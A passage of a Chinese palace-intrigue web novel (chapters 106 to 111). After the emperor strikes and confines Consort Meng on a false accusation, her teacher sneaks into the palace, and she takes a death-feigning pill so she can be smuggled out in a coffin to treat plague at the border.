阿孟心中一沉。若说出谢妤和顾奚慈的名字,无疑会被视为诬陷。而此时直言不是她收到的,墨司渊显然也不会相信。眼下,她唯一的出路,就是坦然面对这场陷阱,找出其中漏洞。
“皇上若不信,可派人查验顾将军的笔迹。”阿孟冷静分析道,“顾将军作为边关大将,朝中必有其奏报存档。若将此信与奏报相比,真伪立判。至于这玉佩,也可询问顾家,顾将军的贴身之物,家中应当知晓。”
墨司渊眸光一闪,被她的冷静与理智所震撼。他原以为她会惊慌失措,或是歇斯底里地辩解,却没想到她依然能够如此清晰地思考,提出反驳的证据。这让他心中的怒火更盛,却也生出一丝异样的情绪。
墨司渊忽然大步上前,一把攥住阿孟的手腕,几乎要捏碎她纤细的腕骨,“既然你说不是你的,那朕倒要看看,你这苔蘅殿中,还有什么秘密!周海!继续搜!”
阿孟忍着手腕的剧痛,面色不变。
第106章 怒掌裂情
殿内,禁卫们翻箱倒柜的声音不绝于耳。一个个柜子被打开,一件件衣物被抖落。阿孟的药箱被粗暴地掀开,珍贵的药材洒落一地,她的医书被毫不怜惜地摔在地上,书页零落。
墨司渊松开阿孟的手腕,冷冷走向那堆散落的医书。其中一本正好翻到了关于边疆瘟疫的记载,上面密密麻麻写满了阿孟的笔记。他拿起那本书,眼神冷厉如刀:“看来孟贵妃确实对边疆之事格外上心,连这等偏门邪症都要研究。”
“回皇上,边疆瘟疫关乎数万将士性命,臣妾身为医者,理应尽己所能。”阿孟轻抚被捏红的手腕,语气依然平静。
“呵,尽己所能?”墨司渊冷笑一声,眼中闪过一丝嘲讽,“我看你是想早点出宫私会吧?”
阿孟眼中闪过一丝痛楚,但很快便恢复了平静。她缓缓抬头,直视着墨司渊的眼睛:“皇上若是这般想,臣妾无话可说。但请皇上明鉴,边关将士浴血奋战,臣妾身为医者,只愿尽一份绵薄之力,并无他意。”
“绵薄之力?”墨司渊他一把抓起那本关于瘟疫的医书,猛地撕开,书页四散飞舞。
“皇上!”阿孟终于忍不住惊呼出声,眼中闪过一丝愤怒,“那是能救人性命的医书!”
墨司渊却不管不顾,继续撕扯着那些珍贵的医书,一页页纸片如同雪花般在殿内飞舞。“救人性命?你可有想过朕?”
阿孟眼中的愤怒越发明显:“皇上当真要因一己之私,置千万将士性命于不顾吗?”她上前一步,试图抢救那些尚未被毁的医书,“若因皇上的任性,导致边关将士死伤无数,皇上如何对得起天下臣民?”
“大胆!”墨司渊猛地转身,怒目而视,“你竟敢以边关将士来要挟朕?朕乃一国之君,何时轮到你一个小小贵妃来指点江山?”
“臣妾不敢。”阿孟紧咬下唇,强忍怒火,“但臣妾身为医者,天职便是救死扶伤。皇上若因私情阻碍,是对天下苍生的不负责任!”
墨司渊被她的话激怒,眼中怒火愈燃愈烈:“你敢说朕不负责任?”他一把拽住阿孟的衣领,几乎要将她提起,“朕夜以继日处理政务,为的不就是江山社稷?你却因一个男人,不惜与朕对抗,到底谁不负责任?”
“那不是一个男人,那是千千万万个正在浴血奋战的将士!”阿孟毫不畏惧地回视,声音因愤怒而微微颤抖,“皇上可曾想过,若边关失守,敌军长驱直入,这偌大皇宫,又能护得了谁?顾将军率军抵御外敌,皇上却因一己之私,阻止臣妾前去救治——”
“啪!”
一记响亮的耳光打断了阿孟的话语,直接将她打得踉跄几步。墨司渊自己都愣住了,他没想到会在盛怒之下出手如此之重。他看着阿孟苍白的脸颊上那道鲜血淋漓的伤口——那道刚刚愈合的旧伤,又一次被他亲手撕裂。
鲜血顺着阿孟的脸颊缓缓流淌,染红了她雪白的衣襟。她站直身体,眼神平静得可怕,她抬手轻轻擦去脸上的血迹,嘴角扬起一抹冷笑。
“臣妾谢皇上赐教。”她声音冰冷,眼中的温度跌至冰点,“看来皇上以为,用武力便能让臣妾屈服。臣妾愚钝,恐怕要让皇上失望了。”
墨司渊看着那道被他再次打裂的伤口,心中忽然闪过一丝后悔。他伸手想要查看她的伤势:“意儿——”
“请皇上不必费心。”阿孟冷漠地避开墨司渊伸来的手,银牙紧咬,眼中透出一种决绝,“臣妾的伤,不劳皇上挂怀。”
墨司渊的手僵在半空,曾几何时,这个女人为他的一个眼神就会欣喜若狂,而如今,她却冷若冰霜,避他如蛇蝎。
“既然孟贵妃如此倔强,那朕也不必多此一举。”墨司渊收回手,冷冷地看着她,“从今日起,苔蘅殿禁卫加倍,任何人不得随意出入。至于你——”他目光如刀,一字一顿,“朕劝你安分守己,不
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要妄想再有出宫的机会。”
阿孟抬眸直视他,脸颊上的血迹已经凝固,那道伤口横亘在她精致的脸庞上。
“臣妾遵旨。”她的声音平静得令人心惊。
墨司渊看她如此冷静,反而更加恼怒。他挥袖而去,脚步声在空旷的殿内回响,渐行渐远。
阿孟站在原地,直到再也听不见那人的脚步声,才缓缓滑坐在地,手指轻抚着脸上的伤口,眼中闪过一丝痛楚。云珠连忙上前搀扶,眼中含泪:“小姐,您的伤……”
“无妨,”阿孟摆摆手,眼神坚定,“比起边疆将士的伤痛,这不过是皮肉小伤罢了。”
苔蘅殿外,墨司渊的禁卫在四处巡视,宫墙内外布满了眼线,仿佛一张无形的网,将阿孟牢牢困在其中。
夜色渐深,驿馆内灯火通明。贺景行被关在一间偏室之中,身旁有两名官兵把守。他神情慵懒,仿佛毫不在意自己的处境,手指有一下没一下地敲击着桌面。
“贺神医,您还是安分些吧。”一名年轻的官兵劝道,“这是上头的命令,我们也是奉命行事。”
贺景行饶有兴致地看了他一眼,嘴角挂着玩世不恭的笑:“小兄弟,我知道你们也是为了差事。只是这驿馆未免太过简陋,连杯像样的酒都没有,贺某实在是无聊得紧啊。”
那官兵为难地搓了搓手:“这,这恐怕不合规矩……”
“哎,年轻人何必如此拘泥?”贺景行摆摆手,从袖中取出一瓶酒,眼中闪过一丝狡黠,“我这里倒是有一壶上好的桃花醉,不如我们一起小酌几杯?反正夜深人静,谁又能知道呢?”
两名官兵面面相觑,终于抵不住诱惑,接过酒杯。贺景行笑意更深,轻轻举杯:“来,喝。”
不多时,两名官兵已经歪倒在一旁,呼呼大睡。贺景行悄然起身,拂袖而去,脸上的醉意早已消失无踪。他身形如鬼魅般穿过巡逻的官兵,来到驿馆后院。
第107章 破禁谋
后院墙角处,一位身着普通商贾服饰的中年男子正焦急等待。“贺兄!”他见到贺景行,面露喜色,“你总算出来了!”
“多谢二哥相救。”贺景行拱手,眼中带着真诚的感激,“若非你出手,贺某今夜恐怕难以脱身。”
“贺兄当年救我性命,这点小事算得了什么?”中年男人摆摆手,“快随我来,我已经准备好了接应的人手。”
他们绕过巡逻的官兵,借着夜色的掩护,迅速离开驿馆。在京城错综复杂的街道上,他们几次转向,确保没有人跟踪后,终于来到一处隐蔽的宅院。
“贺兄,你究竟招惹了什么人?”中年男人关切地问道,“连你持有的血令都不管用,究竟是什么人在从中作梗?”
贺景行眸光微闪,唇角勾起一抹意味深长的笑:“宫中有人不希望我见到皇上,更不希望我帮助一个人。”
“是那位替身贵妃?”中年男人压低声音,“京城近来传言纷纷,说她与孟方意有着千丝万缕的联系。”
贺景行眼中闪过一丝警觉:“人言可畏,二哥还是少打听为妙。”他顿了顿,又道:“不过,现在我确实需要潜入皇宫,情况危急。”
中年男人沉吟片刻:“宫中戒备森严,但也并非没有可乘之机。我在宫中有些旧交,或许能帮上忙。”
贺景行眼中闪过一丝感激:“那就有劳二哥了。”
深夜,一道黑影如游鱼般穿梭在皇宫的阴影之中。贺景行借着夜色的掩护,凭借对宫中地形的熟悉,一路避开巡逻的禁卫,朝着苔蘅殿的方向潜行。
突然,前方传来一阵低语声。贺景行迅速隐入一处假山后,屏息静气。两个黑衣人鬼鬼祟祟地走过,交头接耳:
“那贺景行被困在驿馆,应该一时半会出不来了。”
“可不是,谢贵妃交代得清楚,无论如何都不能让他见到阿孟,更不能让他们联手出宫。”
贺景行眼神一冷,右手悄然握住了腰间的**。他轻轻呼出一口气,身形如鬼魅般贴近那两人,闪电般出手,两人还未来得及惊呼,便已被点了哑穴,软倒在地。
“看来谢妤和顾奚慈是铁了心要阻止我们。”贺景行冷笑一声,将两人拖入僻静处,继续向前潜行。
苔蘅殿前,禁卫来回巡逻,戒备森严。贺景行躲在暗处,眉头紧锁。突然,他发现一处宫墙外的老槐树高大挺拔,枝干几乎延伸到了苔蘅殿的后院。
“天助我也。”贺景行嘴角勾起一抹笑,身形如猿猴般攀上高墙,又借着树枝的掩护,轻盈地落在了苔蘅殿的后院之中。
“谁?”一道警惕的声音从阴影处传来。
贺景行浮躁的眉头紧蹙,但他很快辨认出了这熟悉的声音:“云珠?”
“贺神医!”云珠惊喜地从阴影中走出,“你终于来了!小姐她……”
“她现在如何?”贺景行急切地问道,眼中闪过一丝担忧。
“皇上今日刚离开,小姐被他打伤了脸颊。”云珠语气中满是愤怒,“那道伤口又被撕裂了。”
贺景行眼中闪过一丝寒芒:“墨司渊欺人太甚!”他深吸一口气,努力平复情绪,“带我去见她。”
云珠为贺景行引路,两人借着夜色的庇护,悄然穿过幽暗的回廊。苔蘅殿内,阿孟将撕碎的医书,一张张粘贴起来,神色平静如水。
云珠低声道:“小姐,贺神医来了。”
“师父!”阿孟抬头,看到来人时眼中闪过一丝惊讶,随即化为欣喜,她轻轻合上书册,起身相迎。
贺景行几步上前,眉头紧锁,目光落在她脸上的伤口上,眸中痛色难掩:“疼吗?”
阿孟摇摇头,唇角微微上扬:“小伤而已,不碍事。”
贺景行伸手轻轻抚过她脸上的伤痕,眼中的心疼几乎要溢出来:“倔强如故。”他从怀中取出一个小巧的玉盒,打开后,里面是一种淡青色的膏药,“玄机师父的凝星膏,能消肿止痛,且不留疤痕。”
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他小心翼翼地为阿孟涂抹伤口,手法轻柔。阿孟安静地任由他照料,眼眸低垂,长睫如蝶翼般轻轻颤动。
“还在为边疆的事情烦神?”贺景行一边上药,一边低声询问。
阿孟眸光一凛,声音压得极低:“边疆的情况比我们想象的还要糟。顾将军伤重,边关岌岌可危,瘟疫肆虐,士兵死伤无数。”她顿了顿,眼中闪过一丝担忧,“我担心兄长也陷入危险。”
贺景行轻轻点头,手上动作不停:“我打听到的消息,边疆确实情势危急。若再不及时医治,恐怕大军将士难以支撑。”
“我必须尽快离开皇宫,前往边疆。”阿孟目光坚定,闪烁着冷冽的光芒,“这里的每一刻耽搁,都可能导致更多将士的死亡。”
“苔蘅殿外禁卫如云,正门已经不可能了。”贺景行收起药盒,目光环视四周,思索片刻,“不过,我有一计。”
他从怀中取出一个精致的红木盒子,小心翼翼地打开。盒中静静躺着三个小巧的瓷瓶,晶莹剔透,如同玉石雕琢而成。
“我此次前来,便是为了带给你。”贺景行拿起其中一个泛着幽蓝光泽的瓷瓶,轻声道,“这瓶丹药,能让人陷入假死状态,脉象呼吸皆如**,连太医都难辨真伪。服下后,约三日方能苏醒。”
阿孟眼中精光一闪,立刻明白了他的用意:“假死脱困?”
“不错。”贺景行点头,眸光微闪,“若你病逝,墨司渊必会下令将你风光大葬。届时,我自有办法将你从棺中救出,护送你前往边疆。”
“此计可行。”阿孟沉吟片刻,眼中闪过一丝担忧,“只是,若我假死,身边之人恐怕会受到牵连。”
“我已安排妥当。”贺景行眸中闪过一抹坚定,“半夏已在城外接应,暗中埋伏的人手也已就位。你只管放心服药,其他一切有我。”
阿孟深深凝视他片刻,眼中盛满感激与信任:“师父,我此生欠你太多。”
第108章 禁卫险查
“好了,你我之间,何必言欠。”贺景行眸中温柔似水,声音却故作轻松,“我这人最是无聊,若无你这般有趣的病人,岂不是要无趣至死?”
阿孟轻笑出声,眼中却闪过一丝复杂:“此去边疆,路途遥远,凶险难测。若有不测……”
“无需说这些丧气话。”贺景行打断她,眼中闪过一丝坚定,“你我皆非寻常人,既已决定,便无退路。何况,天下之大,又有何处去不得?”
夜色渐深,贺景行取出瓷瓶中的一粒药丸,递给阿孟:“明日辰时,是墨司渊例行早朝之际,届时宫中守卫最为松懈,正是你服药的最佳时机。”
阿孟接过药丸,郑重地收入袖中,眼中满是决然:“明日辰时,我便服药。”
贺景行目光深沉,轻轻握住她的手:“放心,我不会让你失望的。我们一起去边疆,救治将士,也救你兄长。”
夜色渐深,苔蘅殿外的巡逻声此起彼伏。贺景行知道时间不多,他必须尽快离开,避免引起怀疑。
“我该走了。”贺景行站起身,轻声道,“记住我的话!”
阿孟点头,目送贺景行准备离去。就在此时,外面忽然传来一阵急促的脚步声,似乎是巡逻的禁卫正朝着苔蘅殿的方向而来。
“不好!”云珠紧张地探头望了望外面,“有禁卫过来了!”
贺景行动作迅速,低声道:“别怕!”
他迅速环顾四周,目光落在殿侧的一个大柜子上。不等阿孟反应,他已闪身躲入柜中,云珠机敏地合上柜门,然后若无其事地开始收拾桌上的茶具。
门外,禁卫的脚步声越来越近,终于在苔蘅殿门前停下,伴随着一阵沉重的敲门声。
“进来。”阿孟开口道。
殿门被推开,两名身着乌黑铠甲的禁卫大步走入,目光警惕地扫视着殿内的每一个角落。为首的禁卫军统领高大威严,环视一周后目光落在阿孟身上。
“贵妃娘娘,奉皇上之命,夜间加强巡查,打扰娘娘休息了。”禁卫统领恭敬道。
阿孟缓缓抬头,面色如常,眼中却闪过一丝厌倦:“皇上的命令,岂敢不从?只是深更半夜,本宫还能去哪儿?”她的声音平静中带着冷意,脸颊上那道新添的伤痕在烛光下显得格外醒目。
禁卫军统领注意到了她脸上的伤,眼中闪过一丝不易察觉的同情,但很快又恢复了冷漠:“娘娘言重了,臣职责所在,还请娘娘见谅。”
云珠此时上前一步,端着茶盏,不卑不亢道:“几位大人,娘娘今日身子不适,伤势未愈,正要歇息。您们若是来查看,不如速速看过,好让娘娘安心歇息。”
禁卫统领点头,示意手下在殿内搜查。阿孟心中紧张,却不露分毫,眼角余光却紧盯着那两名禁卫的动向。
当一名禁卫走向贺景行藏身的紫檀木柜时,阿孟心头一紧,手中的衣袖不自觉地攥紧了几分。云珠见状,急中生智,手中茶盏“啪嗒”一声跌落在地,清脆的碎裂声立即吸引了所有人的注意力。
“奴婢该死!弄脏了殿内地面!”云珠惊慌失措地跪地收拾,故意将碎片弄得到处都是,刚好挡在禁卫前进的路线上。
那禁卫皱眉,不得不避开满地碎片,转而检查其他地方。阿孟在心中暗暗松了一口气,但面上仍是那副淡然的神情。
“殿内并无异样。”检查完毕,禁卫回禀统领。
统领点头,又看了一眼阿孟脸上的伤痕,犹豫片刻,终于开口道:“娘娘伤口未愈,不如让太医再来看看?”
“不必了。”阿孟微微摇头,嘴角露出一抹苦笑,“伤在脸上,又不致命。皇上的心意,本宫心领了。”
统领听出她语气中的冷意,不再多言,只是躬身行礼:“打扰娘娘了,我等告退。”
待禁卫尽数离开,阿孟确认脚步声远去,这才迅速起身,打开紫檀木柜。贺景行从中走出,活动了一下僵硬的筋骨,嘴角仍挂着那
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抹玩世不恭的笑容:“好险,差点就被发现了。”
阿孟紧绷的神经终于稍稍放松,她看向贺景行:“师父,你还是赶紧离开吧,宫中戒备如此森严,若被发现,后果不堪设想。”
“无妨。”贺景行拂去身上的草药灰尘,“我自有出宫的法子。倒是你,明日定要小心,莫要错过时机。”
阿孟郑重地点点头:“师父放心,我会小心的。”
贺景行深深望了阿孟一眼,随后轻轻拉开窗户,身影如鬼魅般融入夜色。他的身形矫健,动作轻巧,转瞬之间便消失在紫檀树影之后。阿孟立于窗前,目送他远去的身影,直到再也看不见。
次日,苔蘅殿内,阿孟静静地坐在铜镜前,任由云珠为她梳理着如瀑青丝。
“小姐,真的要这么做吗?”云珠的声音带着一丝颤抖,手中的檀木梳几乎要握不住,“这假死药虽能瞒天过海,可万一出了什么差错……”
阿孟透过铜镜,看着云珠那张写满担忧的小脸,轻轻笑了笑,眸中却是一片坚定:“云珠,不要怕。”
她顿了顿,语气柔和了几分:“放心,贺神医的医术你还不相信吗?他既然敢用这药,就必定有十足的把握。”
云珠咬了咬唇,眼中仍有泪光闪烁:“可是小姐,奴婢还是害怕。”
“云珠!”阿孟打断她,“我这条命,早已不是自己的了。若能为边疆将士换来一线生机,便是死,也值了。”
她从妆奁中取出一个小巧的瓷瓶,倒出一粒药丸,毫不犹豫地吞了下去。
“小姐!”云珠惊呼一声,想要阻止却已来不及。
阿孟咽下药丸,只觉一股淡淡的苦涩在口中蔓延开来。她闭上眼睛,感受着药力在体内缓缓扩散,意识逐渐模糊。
“云珠,记住我说的话……”她用尽最后一丝力气,轻声嘱咐,“按计划行事……不要慌……”
话音未落,阿孟的身子一软,缓缓倒在了云珠怀里。
第109章 云珠哭报
云珠紧紧抱着阿孟,泪水夺眶而出,
“小姐,你放心,奴婢一定不会让你失望的。”
她深吸一口气,努力平复着自己的情绪。她知道,接下来,她必须按照计划,演好这场戏。
“来人啊!来人啊!”云珠猛地冲出内室,凄厉的哭喊声瞬间响彻整个苔蘅殿,“贵妃娘娘!贵妃娘娘薨了!”
这突如其来的变故,让原本寂静的苔蘅殿瞬间炸开了锅。宫女太监们纷纷涌来,看着床上毫无生气的阿孟,一个个吓得面无人色。
“快!快去禀告皇上!”
“娘娘!娘娘您醒醒啊!”
“御医呢?快传御医!”
……
混乱中,云珠紧紧抓住一名禁卫军的衣袖,声泪俱下:“快!快去禀告皇上!贵妃娘娘突然暴毙了!”
那禁卫军被她这般凄厉的哭喊声惊得一愣,下意识地想要甩开她的手,却又不敢对贵妃身边的大宫女无礼。他狐疑地看了一眼内室,只见床榻上的人儿面色苍白如纸,一动不动,确实像是没了气息。
“这……这怎么可能?”禁卫军皱眉,昨日皇上才来过,贵妃虽受了伤,但并无大碍,怎会说没就没了?他不由得生出几分怀疑,“贵妃娘娘昨日还好好的,怎会突然……”
“你这奴才还敢质疑?”云珠哭得眼睛都红了,却仍不忘小姐的嘱托,她抬手指向内室,声音颤抖却坚定,“你若不信,大可进去看看!娘娘今早起来时就说头晕,我刚去煎药的功夫,回来就……就……”说到这里,她再也说不下去,只是放声大哭。
禁卫军见状,不敢再耽搁,连忙转身疾步而去,一边走一边吩咐其他人:“你们几个看好这里,不许任何人进出!我这就去禀告皇上!”
此时的墨司渊刚下了早朝,正在朝露宫与谢妤用膳。谢妤身着一袭淡粉色宫装,发髻高挽,珠翠轻摇,一副娇弱可人的模样。她亲自为墨司渊斟了一杯温热的清茶,柔声道:“皇上今日早朝辛苦了,这茶是臣妾亲自泡的,您尝尝可还合口味?”
墨司渊接过茶盏,轻抿一口,眉头微蹙:“有些苦。”
谢妤闻言,眼中闪过一丝失落,却又很快掩饰过去,娇嗔道:“皇上这是嫌弃臣妾的手艺了?”她说着,轻轻抚上自己微隆的小腹,“臣妾这些日子为了肚子里的龙嗣,可是费尽心思学了不少伺候人的本事呢。”
墨司渊目光落在她的小腹上,眼神微微柔和了几分:“朕不是这个意思。”他放下茶盏,伸手轻抚过谢妤的面颊,“妤儿有心了。”
谢妤得意地靠在墨司渊怀中,眼中闪过一丝得意的光芒。正在此时,殿外传来一阵急促的脚步声,随后便是禁卫军惊慌的禀报:“皇上!不好了!孟贵妃突然暴毙了!”
“什么?”墨司渊猛地站起身,茶盏被打翻,茶水洒了一桌,他眼中闪过一丝不可置信,“你再说一遍!”
禁卫军跪伏在地,声音因紧张而微微发颤:“回皇上,苔蘅殿的宫女来报,说孟贵妃突然暴毙了!”
墨司渊面色骤变,眼中闪过一丝慌乱,随即又恢复了帝王的威严:“胡说八道!朕昨日才见过她,她虽有伤在身,但并无大碍,怎会突然暴毙?”
谢妤听闻此言,心中暗喜,面上却做出一副震惊的模样:“皇上,这……这怎么可能?”她眼中闪过一丝狡黠,心中却在思量:阿孟怎会死得这般突然?难道是那**知道自己无法出宫,竟选择了自尽?
想到这里,谢妤心中更是畅快,她故作关切地拉住墨司渊的衣袖:“皇上,不如我们一起去苔蘅殿看看吧?若真如此,也好早做准备。”
墨司渊眼中闪过一丝复杂的情绪,他沉默片刻,终于点头:“备驾,朕要亲自去看看!”
谢妤连忙起身,吩咐宫女:“快,给本宫准备轿辇,本宫要陪皇上一同前往苔蘅殿。”她转向墨司渊,眼中满是关切:“皇上,您别太担心,兴许是那阿孟玩花招呢?”
墨司渊没有
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回答,只是大步向外走去,眼中的焦虑与不安却怎么也掩饰不住。谢妤紧随其后,嘴角勾起一抹几不可察的冷笑。
一行人很快到达苔蘅殿。殿前已**了不少宫人,有的在低声啜泣,有的则面露惊恐之色。见到墨司渊驾临,众人纷纷跪地行礼。
“皇上驾到——”内侍高声唱喝。
云珠闻声从内室跌跌撞撞地跑出来,跪伏在墨司渊面前,哭得几乎说不出话来:“皇上!娘娘她,娘娘她真的走了!”她泪眼朦胧,身子不住地颤抖。
墨司渊面色微变,大步迈入内室。床榻上,阿孟静静地躺着,面容安详,唇边似乎还带着一丝淡淡的笑意。她脸颊上那道伤痕依旧明显,在苍白的肌肤衬托下显得尤为刺目。墨司渊站在床前,久久不语,眼中闪过一丝复杂的情绪。
“她怎么会突然就……”墨司渊伸手想要触碰阿孟的面颊,却在半空中停住。
云珠跪在一旁,抽噎着道:“回皇上,娘娘昨夜就说头痛难忍,今晨起来时更是面色惨白。奴婢刚去煎药,回来就发现娘娘已经……已经气绝了!”她说到这里,忍不住又是一阵嚎啕大哭,“娘娘临终前还说,若有不测,希望能将她送回故乡安葬,不愿长眠于这深宫之中!”
墨司渊闻言,眸色一沉,眼中闪过一丝怀疑:“她还说了什么?”
云珠抬起泪眼,声音哽咽:“娘娘说,她此生最大的遗憾,就是未能亲眼看到边疆将士平安归来。她说,若有来生,再不愿入宫为妃,只愿做个平凡女子,自由自在……”
墨司渊听罢,面色更加阴沉。他伸手轻触阿孟的面颊,只觉冰凉如玉,再无半分温度。
“传太医!朕要亲眼看着他们诊断!”墨司渊厉声道,眼中闪烁着不安与怒火交织的复杂光芒。
谢妤站在一旁,眼中闪过一丝意外。她原以为墨司渊会因此而大怒,没想到他竟是这般反应。看来,这阿孟在他心中的位置,比她想象的还要重要。
第110章 夜守灵床
不多时,几位御医匆匆赶来,在墨司渊的冷眼注视下,战战兢兢地为阿孟把脉。片刻后,为首的太医跪地禀报:“回皇上,贵妃娘娘确实已经仙逝,无脉无息,恐怕已经去世多时了。”
“不可能!”墨司渊一掌拍在案几上,震得茶盏都跳了起来,“再看!”
太医们面面相觑,只得再次上前诊脉。结果依旧如初,阿孟确实已无生命迹象。
谢妤见状,上前一步,柔声道:“皇上,太医诊断无误,想必是孟贵妃昨日忧心边疆之事,一时想不开,皇上若继续如此,只怕会伤了龙体啊。”
墨司渊充耳不闻,眼神始终停留在阿孟的脸上,心中忽然涌起一阵难以言喻的愧疚与自责。是他亲手在她脸上留下了这道伤,却没想到这竟成了他们之间的诀别。
“皇上,”云珠跪地叩首,泪如雨下,“娘娘生前最后的心愿,就是希望能脱离这深宫,入土为安。请皇上开恩,让奴婢带着娘娘的遗体出宫,依照她的遗愿安葬在城外吧!”
谢妤闻言大惊,连忙上前阻拦:“皇上不可答应!孟贵妃乃是一国贵妃,身份尊贵,岂能草草出宫安葬?依臣妾之见,应当停灵七日,然后依照皇家礼制安葬才是。”
她心中暗道:这丫头莫非另有用心?要带着阿孟的尸体出宫?墨司渊怎能答应如此荒唐之事!
墨司渊没有理会谢妤的话,只是皱眉凝视着床榻上安详的阿孟,眼中闪过一丝挣扎。良久,他才缓缓开口:“传朕旨意,即刻起,苔蘅殿禁止任何人出入。孟贵妃停灵一日,朕要亲自为她送行。”
“皇上!”谢妤急切地上前一步,却被墨司渊冷冷的目光所震慑,不敢再言。
她咬了咬唇,强忍着心中的怒火,福身行礼:“臣妾告退。”
待众人退去,墨司渊独自一人站在床榻前,目光复杂地看着阿孟。
“意儿,你当真就这般恨朕?”墨司渊喃喃自语,声音低不可闻,“连死都不愿留在朕身边?”
晚上,墨司渊始终守在阿孟身边,一动不动。他的目光紧紧锁定在她的脸上,仿佛在等待一个奇迹的发生。然而,时间一分一秒地流逝,阿孟依旧毫无生气地躺着,面容安详,仿佛只是陷入了沉睡。
“皇上,夜深了,您该歇息了。”周海小心翼翼地进来劝道,眼中满是担忧。
墨司渊摇了摇头,声音低沉:“你退下吧,朕要亲自守着她。”
周海欲言又止,最终还是退了出去。
他知道,皇上心中对孟贵妃,终究是不同的。
而门外的云珠心中暗自焦急,按照计划,她本该趁夜将小姐的遗体送出宫去,可如今墨司渊寸步不离,这计划恐怕要生变了。
天色微明,墨司渊眼中布满血丝。他已经一夜未眠,却仍不愿离去。
“皇上!”一阵急促的脚步声传来,太医匆匆赶至,跪地禀报,“臣观贵妃娘娘身上已出现尸斑迹象,若再不下葬,恐怕会……”
墨司渊眸光一冷:“你说什么?”
太医战战兢兢道:“回皇上,贵妃娘娘已经去世多时,身体开始出现变化。按照礼制,应当尽快入殓下葬,否则恐有不妥。”
墨司渊沉默片刻,眼中闪过一丝挣扎。他看了看床榻上的阿孟,又看了看跪在地上的太医。
他走出内室,对守在外面的禁卫军统领道:“传朕旨意,孟贵妃暴毙,着即刻出殡,送往城外安葬。”
“皇上,这……”禁卫军统领有些迟疑,“贵妃娘娘的丧仪,是否太过仓促了?”
“朕意已决,不必多言。”墨司渊冷冷地打断他,“按朕说的去做。”
“是。”禁卫军统领不敢再多言,只得领命而去。
消息传出,整个皇宫都震惊了。
谁也没想到,孟贵妃会突然暴毙,更没想到,皇上竟会如此草率地将她下葬。
朝露宫中,谢妤听到这个消息,心中又惊又喜。
喜的是,阿孟终于**,她再也不用担心这个眼中钉了。
惊的是,墨司渊竟然如此绝情,连停
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灵七日都不肯,就直接将阿孟送出宫了。
“娘娘,这其中会不会有诈?”红豆小心翼翼地问道,“奴婢总觉得,事情没那么简单。”
“能有什么诈?”谢妤冷笑一声,“难不成那**还能死而复生?”
她顿了顿,眼中闪过一丝阴狠,“不过,以防万一,还是派人去盯着点。本宫要亲自看着那**下葬。”
红豆领命而去。
顾奚慈也听闻了阿孟的死讯,她第一时间赶到朝露宫,想要确认这个消息。
“娘娘,阿孟真的**?”顾奚慈一进门就急切地问道,“这消息可靠吗?”
谢妤看着她那副欣喜若狂的模样,心中不禁冷笑。
“千真万确。”谢妤淡淡地说道,“皇上已经下旨,将孟贵妃送出宫安葬了。”
“太好了!”顾奚慈喜不自禁,“这下表哥终于可以死心了!我这就去告诉姑母,让她老人家也高兴高兴。”
她说着,转身就要离开。
“站住。”谢妤叫住她,“你急什么?孟贵妃虽然**,但你表哥未必会回心转意。”
“娘娘,您这是什么意思?”顾奚慈不解地问道。
谢妤意味深长地笑了笑:“你表哥是什么样的人,你还不清楚吗?他若是对你有意,早就娶你了,何必等到现在?”
谢妤看着她那副急不可耐的模样,心中更是厌恶。这顾奚慈,心思如此浅薄,竟还妄想嫁给顾凛鹤?
顾奚慈脸色一白,眼中闪过一丝愤怒:“娘娘,我……”
“顾小姐,时候不早了,你还是先回去吧。”谢妤打断她,语气中带着明显的逐客之意。
顾奚慈咬了咬唇,强压着怒火道:“是,娘娘!”
她说着,转身离去,脚步匆匆。
苔蘅殿内,云珠跪在阿孟的棺椁前,哭得肝肠寸断。
“娘娘,您放心,奴婢一定会按照您的吩咐,将您安全送出宫。”她哽咽着说道,“奴婢这条命是您给的,就算拼了这条命,奴婢也会护您周全。”
第111章 灵棺密途
墨司渊面色铁青,站在宫殿钱,一言不发。
云珠连忙上前叩首:“皇上,娘娘生前最大的心愿,就是希望能回到城外安葬。请皇上开恩,成全娘娘的遗愿吧!求皇上了!”
墨司渊沉默良久,终于开口:“准了。”
他顿了顿,又道:“传朕旨意,孟贵妃丧仪从简,不必大操大办。着云珠护送灵柩出宫,送往城外安葬。”
云珠叩首谢恩:“奴婢谨遵皇上旨意。”
她说着,起身走到棺椁前,轻轻抚摸着冰冷的棺木,眼中满是悲痛。
“娘娘,我们走吧。”她轻声说道。
在禁卫军的押送下,一口薄棺缓缓抬出苔蘅殿,向着宫外而去。
墨司渊站在殿前,目送着棺椁远去。
“陛下,”周海小心翼翼地上前一步,声音恭敬而低沉,“孟贵妃已逝,陛下要不要回去歇息?”
墨司渊没有回答,只是冷冷地注视着远去的灵柩,眼中的情绪越发晦涩难辨。直到棺木消失在宫门尽头,他才收回目光,声音冰冷道:“传朕旨意,禁止任何人谈论孟贵妃之事。违者,斩。”
“是,陛下。”周海连忙领命。
墨司渊转身离去,留下一众宫人面面相觑,不敢言语。谁也没有注意到,在墨司渊转身的刹那,他的眼中闪过一丝不易察觉的疑惑。但他很快便将这种感觉压了下去。
棺木出了皇宫大门,在禁卫军的护送下,沿着京城的街道缓缓前行。街道两旁的行人纷纷停下脚步,对着灵柩行礼,不知是谁喃喃自语道:“听闻是位贵妃,竟这般草草下葬,着实可怜。”
云珠哭得几乎站不稳,两名宫女不得不扶着她前行。待行至城郊,禁卫军统领上前道:“按照皇上旨意,这里已是城外,贵妃的遗体就交由云珠姑娘安排下葬吧。”
云珠抹了抹眼泪,声音哽咽:“多谢大人。”她向着禁卫军行了一礼,眼中闪过一丝难以察觉的紧张。
禁卫军统领挥了挥手:“我等还需回宫复命,就此告辞。”说罢,率领禁卫**身离去,铠甲碰撞声渐行渐远。
待禁卫军的身影完全消失在视野中,云珠四下张望,确认无人监视后,才急切地奔向不远处的一片树林。那里早已埋伏好了几个黑衣人,为首的正是贺景行和半夏。
“小姐可安好?”半夏紧张地问道,手已按在刀柄上,随时准备应对危险。
“快,把小姐抬到马车上!”云珠急切地说,眼泪还挂在脸上,却已不再哭泣。
贺景行迅速上前,带人将棺木抬上早已准备好的马车,随后便驱车疾驰,朝着城郊的一座隐蔽庄园而去。马蹄声如雷,激起路边尘土飞扬,马车在道路上留下一道长长的痕迹。
庄园深处,一间宽敞的厢房内,几名侍女已经准备好了热水和干净的衣物。贺景行亲自打开棺材,小心翼翼地将里面的阿孟抱出来,面色凝重。
“半夏,去外面守着。”贺景行吩咐道,“不许任何人靠近。”
